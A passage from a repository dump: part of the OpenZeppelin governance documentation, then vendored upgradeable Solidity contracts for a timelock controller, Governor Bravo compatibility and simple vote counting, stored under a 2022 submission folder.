For a guided experience, set up your Governor contract using https://wizard.openzeppelin.com/#governor[Contracts Wizard].
For a written walkthrough, check out our guide on xref:ROOT:governance.adoc[How to set up on-chain governance].
====
* {Governor}: The core contract that contains all the logic and primitives. It is abstract and requires choosing one of each of the modules below, or custom ones.
Votes modules determine the source of voting power, and sometimes quorum number.
* {GovernorVotes}: Extracts voting weight from an {ERC20Votes} token.
* {GovernorVotesComp}: Extracts voting weight from a COMP-like or {ERC20VotesComp} token.
* {GovernorVotesQuorumFraction}: Combines with `GovernorVotes` to set the quorum as a fraction of the total token supply.
Counting modules determine valid voting options.
* {GovernorCountingSimple}: Simple voting mechanism with 3 voting options: Against, For and Abstain.
Timelock extensions add a delay for governance decisions to be executed. The workflow is extended to require a `queue` step before execution. With these modules, proposals are executed by the external timelock contract, thus it is the timelock that has to hold the assets that are being governed.
* {GovernorTimelockControl}: Connects with an instance of {TimelockController}. Allows multiple proposers and executors, in addition to the Governor itself.
* {GovernorTimelockCompound}: Connects with an instance of Compound's https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[`Timelock`] contract.
Other extensions can customize the behavior or interface in multiple ways.
* {GovernorCompatibilityBravo}: Extends the interface to be fully `GovernorBravo`-compatible. Note that events are compatible regardless of whether this extension is included or not.
* {GovernorSettings}: Manages some of the settings (voting delay, voting period duration, and proposal threshold) in a way that can be updated through a governance proposal, without requiering an upgrade.
In addition to modules and extensions, the core contract requires a few virtual functions to be implemented to your particular specifications:
* <>: Delay (in number of blocks) since the proposal is submitted until voting power is fixed and voting starts. This can be used to enforce a delay after a proposal is published for users to buy tokens, or delegate their votes.
* <>: Delay (in number of blocks) since the proposal starts until voting ends.
* <>: Quorum required for a proposal to be successful. This function includes a `blockNumber` argument so the quorum can adapt through time, for example, to follow a token's `totalSupply`.
NOTE: Functions of the `Governor` contract do not include access control. If you want to restrict access, you should add these checks by overloading the particular functions. Among these, {Governor-_cancel} is internal by default, and you will have to expose it (which the right access control mechanism) yourself if this function is needed.
=== Core
{{IGovernor}}
{{Governor}}
=== Modules
{{GovernorCountingSimple}}
{{GovernorVotes}}
{{GovernorVotesQuorumFraction}}
{{GovernorVotesComp}}
=== Extensions
{{GovernorTimelockControl}}
{{GovernorTimelockCompound}}
{{GovernorSettings}}
{{GovernorCompatibilityBravo}}
=== Deprecated
{{GovernorProposalThreshold}}
== Timelock
In a governance system, the {TimelockController} contract is in charge of introducing a delay between a proposal and its execution. It can be used with or without a {Governor}.
{{TimelockController}}
[[timelock-terminology]]
==== Terminology
* *Operation:* A transaction (or a set of transactions) that is the subject of the timelock. It has to be scheduled by a proposer and executed by an executor. The timelock enforces a minimum delay between the proposition and the execution (see xref:access-control.adoc#operation_lifecycle[operation lifecycle]). If the operation contains multiple transactions (batch mode), they are executed atomically. Operations are identified by the hash of their content.
* *Operation status:*
** *Unset:* An operation that is not part of the timelock mechanism.
** *Pending:* An operation that has been scheduled, before the timer expires.
** *Ready:* An operation that has been scheduled, after the timer expires.
** *Done:* An operation that has been executed.
* *Predecessor*: An (optional) dependency between operations. An operation can depend on another operation (its predecessor), forcing the execution order of these two operations.
* *Role*:
** *Admin:* An address (smart contract or EOA) that is in charge of granting the roles of Proposer and Executor.
** *Proposer:* An address (smart contract or EOA) that is in charge of scheduling (and cancelling) operations.
** *Executor:* An address (smart contract or EOA) that is in charge of executing operations once the timelock has expired. This role can be given to the zero address to allow anyone to execute operations.
[[timelock-operation]]
==== Operation structure
Operation executed by the xref:api:governance.adoc#TimelockController[`TimelockController`] can contain one or multiple subsequent calls. Depending on whether you need to multiple calls to be executed atomically, you can either use simple or batched operations.
Both operations contain:
* *Target*, the address of the smart contract that the timelock should operate on.
* *Value*, in wei, that should be sent with the transaction. Most of the time this will be 0. Ether can be deposited before-end or passed along when executing the transaction.
* *Data*, containing the encoded function selector and parameters of the call. This can be produced using a number of tools. For example, a maintenance operation granting role `ROLE` to `ACCOUNT` can be encode using web3js as follows:
```javascript
const data = timelock.contract.methods.grantRole(ROLE, ACCOUNT).encodeABI()
```
* *Predecessor*, that specifies a dependency between operations. This dependency is optional. Use `bytes32(0)` if the operation does not have any dependency.
* *Salt*, used to disambiguate two otherwise identical operations. This can be any random value.
In the case of batched operations, `target`, `value` and `data` are specified as arrays, which must be of the same length.
[[timelock-operation-lifecycle]]
==== Operation lifecycle
Timelocked operations are identified by a unique id (their hash) and follow a specific lifecycle:
`Unset` -> `Pending` -> `Pending` + `Ready` -> `Done`
* By calling xref:api:governance.adoc#TimelockController-schedule-address-uint256-bytes-bytes32-bytes32-uint256-[`schedule`] (or xref:api:governance.adoc#TimelockController-scheduleBatch-address---uint256---bytes---bytes32-bytes32-uint256-[`scheduleBatch`]), a proposer moves the operation from the `Unset` to the `Pending` state. This starts a timer that must be longer than the minimum delay. The timer expires at a timestamp accessible through the xref:api:governance.adoc#TimelockController-getTimestamp-bytes32-[`getTimestamp`] method.
* Once the timer expires, the operation automatically gets the `Ready` state. At this point, it can be executed.
* By calling xref:api:governance.adoc#TimelockController-TimelockController-execute-address-uint256-bytes-bytes32-bytes32-[`execute`] (or xref:api:governance.adoc#TimelockController-executeBatch-address---uint256---bytes---bytes32-bytes32-[`executeBatch`]), an executor triggers the operation's underlying transactions and moves it to the `Done` state. If the operation has a predecessor, it has to be in the `Done` state for this transition to succeed.
* xref:api:governance.adoc#TimelockController-TimelockController-cancel-bytes32-[`cancel`] allows proposers to cancel any `Pending` operation. This resets the operation to the `Unset` state. It is thus possible for a proposer to re-schedule an operation that has been cancelled. In this case, the timer restarts when the operation is re-scheduled.
Operations status can be queried using the functions:
* xref:api:governance.adoc#TimelockController-isOperationPending-bytes32-[`isOperationPending(bytes32)`]
* xref:api:governance.adoc#TimelockController-isOperationReady-bytes32-[`isOperationReady(bytes32)`]
* xref:api:governance.adoc#TimelockController-isOperationDone-bytes32-[`isOperationDone(bytes32)`]
[[timelock-roles]]
==== Roles
[[timelock-admin]]
===== Admin
The admins are in charge of managing proposers and executors. For the timelock to be self-governed, this role should only be given to the timelock itself. Upon deployment, both the timelock and the deployer have this role. After further configuration and testing, the deployer can renounce this role such that all further maintenance operations have to go through the timelock process.
This role is identified by the *TIMELOCK_ADMIN_ROLE* value: `0x5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca5`
[[timelock-proposer]]
===== Proposer
The proposers are in charge of scheduling (and cancelling) operations. This is a critical role, that should be given to governing entities. This could be an EOA, a multisig, or a DAO.
WARNING: *Proposer fight:* Having multiple proposers, while providing redundancy in case one becomes unavailable, can be dangerous. As proposer have their say on all operations, they could cancel operations they disagree with, including operations to remove them for the proposers.
This role is identified by the *PROPOSER_ROLE* value: `0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1`
[[timelock-executor]]
===== Executor
The executors are in charge of executing the operations scheduled by the proposers once the timelock expires. Logic dictates that multisig or DAO that are proposers should also be executors in order to guarantee operations that have been scheduled will eventually be executed. However, having additional executors can reduce the cost (the executing transaction does not require validation by the multisig or DAO that proposed it), while ensuring whoever is in charge of execution cannot trigger actions that have not been scheduled by the proposers. Alternatively, it is possible to allow _any_ address to execute a proposal once the timelock has expired by granting the executor role to the zero address.
This role is identified by the *EXECUTOR_ROLE* value: `0xd8aa0f3194971a2a116679f7c2090f6939c8d4e01a2a8d7e41d55e5351469e63`
WARNING: A live contract without at least one proposer and one executor is locked. Make sure these roles are filled by reliable entities before the deployer renounces its administrative rights in favour of the timelock contract itself. See the {AccessControl} documentation to learn more about role management.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/TimelockControllerUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/TimelockController.sol)
pragma solidity ^0.8.0;
import "../access/AccessControlUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which acts as a timelocked controller. When set as the
* owner of an `Ownable` smart contract, it enforces a timelock on all
* `onlyOwner` maintenance operations. This gives time for users of the
* controlled contract to exit before a potentially dangerous maintenance
* operation is applied.
*
* By default, this contract is self administered, meaning administration tasks
* have to go through the timelock process. The proposer (resp executor) role
* is in charge of proposing (resp executing) operations. A common use case is
* to position this {TimelockController} as the owner of a smart contract, with
* a multisig or a DAO as the sole proposer.
*
* _Available since v3.3._
*/
contract TimelockControllerUpgradeable is Initializable, AccessControlUpgradeable {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(
bytes32 indexed id,
uint256 indexed index,
address target,
uint256 value,
bytes data,
bytes32 predecessor,
uint256 delay
);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with a given `minDelay`.
*/
function __TimelockController_init(
uint256 minDelay,
address[] memory proposers,
address[] memory executors
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__TimelockController_init_unchained(minDelay, proposers, executors);
}
function __TimelockController_init_unchained(
uint256 minDelay,
address[] memory proposers,
address[] memory executors
) internal onlyInitializing {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
// deployer + self administration
_setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// register proposers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
_checkRole(role, _msgSender());
}
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at with an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, datas, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to becomes valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
_timestamps[id] = block.timestamp + delay;
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function execute(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_beforeCall(id, predecessor);
_call(id, 0, target, value, data);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_beforeCall(id, predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
_call(id, i, targets[i], values[i], datas[i]);
}
_afterCall(id);
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 id, bytes32 predecessor) private view {
require(isOperationReady(id), "TimelockController: operation is not ready");
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Execute an operation's call.
*
* Emits a {CallExecuted} event.
*/
function _call(
bytes32 id,
uint256 index,
address target,
uint256 value,
bytes calldata data
) private {
(bool success, ) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
emit CallExecuted(id, index, target, value, data);
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/compatibility/GovernorCompatibilityBravoUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.4.2) (governance/compatibility/GovernorCompatibilityBravo.sol)
pragma solidity ^0.8.0;
import "../../utils/CountersUpgradeable.sol";
import "../../utils/math/SafeCastUpgradeable.sol";
import "../extensions/IGovernorTimelockUpgradeable.sol";
import "../GovernorUpgradeable.sol";
import "./IGovernorCompatibilityBravoUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Compatibility layer that implements GovernorBravo compatibility on to of {Governor}.
*
* This compatibility layer includes a voting system and requires a {IGovernorTimelock} compatible module to be added
* through inheritance. It does not include token bindings, not does it include any variable upgrade patterns.
*
* NOTE: When using this module, you may need to enable the Solidity optimizer to avoid hitting the contract size limit.
*
* _Available since v4.3._
*/
abstract contract GovernorCompatibilityBravoUpgradeable is Initializable, IGovernorTimelockUpgradeable, IGovernorCompatibilityBravoUpgradeable, GovernorUpgradeable {
function __GovernorCompatibilityBravo_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__IGovernorCompatibilityBravo_init_unchained();
__GovernorCompatibilityBravo_init_unchained();
}
function __GovernorCompatibilityBravo_init_unchained() internal onlyInitializing {
}
using CountersUpgradeable for CountersUpgradeable.Counter;
using TimersUpgradeable for TimersUpgradeable.BlockNumber;
enum VoteType {
Against,
For,
Abstain
}
struct ProposalDetails {
address proposer;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
uint256 forVotes;
uint256 againstVotes;
uint256 abstainVotes;
mapping(address => Receipt) receipts;
bytes32 descriptionHash;
}
mapping(uint256 => ProposalDetails) private _proposalDetails;
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual override returns (string memory) {
return "support=bravo&quorum=bravo";
}
// ============================================== Proposal lifecycle ==============================================
/**
* @dev See {IGovernor-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (uint256) {
_storeProposal(_msgSender(), targets, values, new string[](calldatas.length), calldatas, description);
return super.propose(targets, values, calldatas, description);
}
/**
* @dev See {IGovernorCompatibilityBravo-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
_storeProposal(_msgSender(), targets, values, signatures, calldatas, description);
return propose(targets, values, _encodeCalldata(signatures, calldatas), description);
}
/**
* @dev See {IGovernorCompatibilityBravo-queue}.
*/
function queue(uint256 proposalId) public virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
queue(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
/**
* @dev See {IGovernorCompatibilityBravo-execute}.
*/
function execute(uint256 proposalId) public payable virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
execute(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
function cancel(uint256 proposalId) public virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
require(
_msgSender() == details.proposer || getVotes(details.proposer, block.number - 1) < proposalThreshold(),
"GovernorBravo: proposer above threshold"
);
_cancel(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
/**
* @dev Encodes calldatas with optional function signature.
*/
function _encodeCalldata(string[] memory signatures, bytes[] memory calldatas)
private
pure
returns (bytes[] memory)
{
bytes[] memory fullcalldatas = new bytes[](calldatas.length);
for (uint256 i = 0; i < signatures.length; ++i) {
fullcalldatas[i] = bytes(signatures[i]).length == 0
? calldatas[i]
: abi.encodePacked(bytes4(keccak256(bytes(signatures[i]))), calldatas[i]);
}
return fullcalldatas;
}
/**
* @dev Store proposal metadata for later lookup
*/
function _storeProposal(
address proposer,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) private {
bytes32 descriptionHash = keccak256(bytes(description));
uint256 proposalId = hashProposal(targets, values, _encodeCalldata(signatures, calldatas), descriptionHash);
ProposalDetails storage details = _proposalDetails[proposalId];
if (details.descriptionHash == bytes32(0)) {
details.proposer = proposer;
details.targets = targets;
details.values = values;
details.signatures = signatures;
details.calldatas = calldatas;
details.descriptionHash = descriptionHash;
}
}
// ==================================================== Views =====================================================
/**
* @dev See {IGovernorCompatibilityBravo-proposals}.
*/
function proposals(uint256 proposalId)
public
view
virtual
override
returns (
uint256 id,
address proposer,
uint256 eta,
uint256 startBlock,
uint256 endBlock,
uint256 forVotes,
uint256 againstVotes,
uint256 abstainVotes,
bool canceled,
bool executed
)
{
id = proposalId;
eta = proposalEta(proposalId);
startBlock = proposalSnapshot(proposalId);
endBlock = proposalDeadline(proposalId);
ProposalDetails storage details = _proposalDetails[proposalId];
proposer = details.proposer;
forVotes = details.forVotes;
againstVotes = details.againstVotes;
abstainVotes = details.abstainVotes;
ProposalState status = state(proposalId);
canceled = status == ProposalState.Canceled;
executed = status == ProposalState.Executed;
}
/**
* @dev See {IGovernorCompatibilityBravo-getActions}.
*/
function getActions(uint256 proposalId)
public
view
virtual
override
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
ProposalDetails storage details = _proposalDetails[proposalId];
return (details.targets, details.values, details.signatures, details.calldatas);
}
/**
* @dev See {IGovernorCompatibilityBravo-getReceipt}.
*/
function getReceipt(uint256 proposalId, address voter) public view virtual override returns (Receipt memory) {
return _proposalDetails[proposalId].receipts[voter];
}
/**
* @dev See {IGovernorCompatibilityBravo-quorumVotes}.
*/
function quorumVotes() public view virtual override returns (uint256) {
return quorum(block.number - 1);
}
// ==================================================== Voting ====================================================
/**
* @dev See {IGovernor-hasVoted}.
*/
function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {
return _proposalDetails[proposalId].receipts[account].hasVoted;
}
/**
* @dev See {Governor-_quorumReached}. In this module, only forVotes count toward the quorum.
*/
function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {
ProposalDetails storage details = _proposalDetails[proposalId];
return quorum(proposalSnapshot(proposalId)) <= details.forVotes;
}
/**
* @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be scritly over the againstVotes.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {
ProposalDetails storage details = _proposalDetails[proposalId];
return details.forVotes > details.againstVotes;
}
/**
* @dev See {Governor-_countVote}. In this module, the support follows Governor Bravo.
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
Receipt storage receipt = details.receipts[account];
require(!receipt.hasVoted, "GovernorCompatibilityBravo: vote already cast");
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = SafeCastUpgradeable.toUint96(weight);
if (support == uint8(VoteType.Against)) {
details.againstVotes += weight;
} else if (support == uint8(VoteType.For)) {
details.forVotes += weight;
} else if (support == uint8(VoteType.Abstain)) {
details.abstainVotes += weight;
} else {
revert("GovernorCompatibilityBravo: invalid vote type");
}
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/compatibility/IGovernorCompatibilityBravoUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/compatibility/IGovernorCompatibilityBravo.sol)
pragma solidity ^0.8.0;
import "../IGovernorUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Interface extension that adds missing functions to the {Governor} core to provide `GovernorBravo` compatibility.
*
* _Available since v4.3._
*/
abstract contract IGovernorCompatibilityBravoUpgradeable is Initializable, IGovernorUpgradeable {
function __IGovernorCompatibilityBravo_init() internal onlyInitializing {
__IGovernor_init_unchained();
__IGovernorCompatibilityBravo_init_unchained();
}
function __IGovernorCompatibilityBravo_init_unchained() internal onlyInitializing {
}
/**
* @dev Proposal structure from Compound Governor Bravo. Not actually used by the compatibility layer, as
* {{proposal}} returns a very different structure.
*/
struct Proposal {
uint256 id;
address proposer;
uint256 eta;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
uint256 startBlock;
uint256 endBlock;
uint256 forVotes;
uint256 againstVotes;
uint256 abstainVotes;
bool canceled;
bool executed;
mapping(address => Receipt) receipts;
}
/**
* @dev Receipt structure from Compound Governor Bravo
*/
struct Receipt {
bool hasVoted;
uint8 support;
uint96 votes;
}
/**
* @dev Part of the Governor Bravo's interface.
*/
function quorumVotes() public view virtual returns (uint256);
/**
* @dev Part of the Governor Bravo's interface: _"The official record of all proposals ever proposed"_.
*/
function proposals(uint256)
public
view
virtual
returns (
uint256 id,
address proposer,
uint256 eta,
uint256 startBlock,
uint256 endBlock,
uint256 forVotes,
uint256 againstVotes,
uint256 abstainVotes,
bool canceled,
bool executed
);
/**
* @dev Part of the Governor Bravo's interface: _"Function used to propose a new proposal"_.
*/
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public virtual returns (uint256);
/**
* @dev Part of the Governor Bravo's interface: _"Queues a proposal of state succeeded"_.
*/
function queue(uint256 proposalId) public virtual;
/**
* @dev Part of the Governor Bravo's interface: _"Executes a queued proposal if eta has passed"_.
*/
function execute(uint256 proposalId) public payable virtual;
/**
* @dev Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold.
*/
function cancel(uint256 proposalId) public virtual;
/**
* @dev Part of the Governor Bravo's interface: _"Gets actions of a proposal"_.
*/
function getActions(uint256 proposalId)
public
view
virtual
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
);
/**
* @dev Part of the Governor Bravo's interface: _"Gets the receipt for a voter on a given proposal"_.
*/
function getReceipt(uint256 proposalId, address voter) public view virtual returns (Receipt memory);
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorCountingSimpleUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorCountingSimple.sol)
pragma solidity ^0.8.0;
import "../GovernorUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for simple, 3 options, vote counting.
*
* _Available since v4.3._
*/
abstract contract GovernorCountingSimpleUpgradeable is Initializable, GovernorUpgradeable {
function __GovernorCountingSimple_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorCountingSimple_init_unchained();
}
function __GovernorCountingSimple_init_unchained() internal onlyInitializing {
}
/**
* @dev Supported vote types. Matches Governor Bravo ordering.
*/
enum VoteType {
Against,
For,
Abstain
}
struct ProposalVote {
uint256 againstVotes;
uint256 forVotes;
uint256 abstainVotes;
mapping(address => bool) hasVoted;
}
mapping(uint256 => ProposalVote) private _proposalVotes;
/**
* @dev See {IGovernor-COUNTING_MODE}.
*/
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual override returns (string memory) {
return "support=bravo&quorum=for,abstain";
}
/**
* @dev See {IGovernor-hasVoted}.
*/
function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {
return _proposalVotes[proposalId].hasVoted[account];
}
/**
* @dev Accessor to the internal vote counts.
*/
function proposalVotes(uint256 proposalId)
public
view
virtual
returns (
uint256 againstVotes,
uint256 forVotes,
uint256 abstainVotes
)
{
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return (proposalvote.againstVotes, proposalvote.forVotes, proposalvote.abstainVotes);
}
/**
* @dev See {Governor-_quorumReached}.
*/
function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return quorum(proposalSnapshot(proposalId)) <= proposalvote.forVotes + proposalvote.abstainVotes;
}
/**
* @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be strictly over the againstVotes.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return proposalvote.forVotes > proposalvote.againstVotes;
}
/**
* @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo).
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual override {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
require(!proposalvote.hasVoted[account], "GovernorVotingSimple: vote already cast");
proposalvote.hasVoted[account] = true;
if (support == uint8(VoteType.Against)) {
proposalvote.againstVotes += weight;
} else if (support == uint8(VoteType.For)) {
proposalvote.forVotes += weight;
} else if (support == uint8(VoteType.Abstain)) {
proposalvote.abstainVotes += weight;
} else {
revert("GovernorVotingSimple: invalid value for enum VoteType");
}
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorProposalThresholdUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
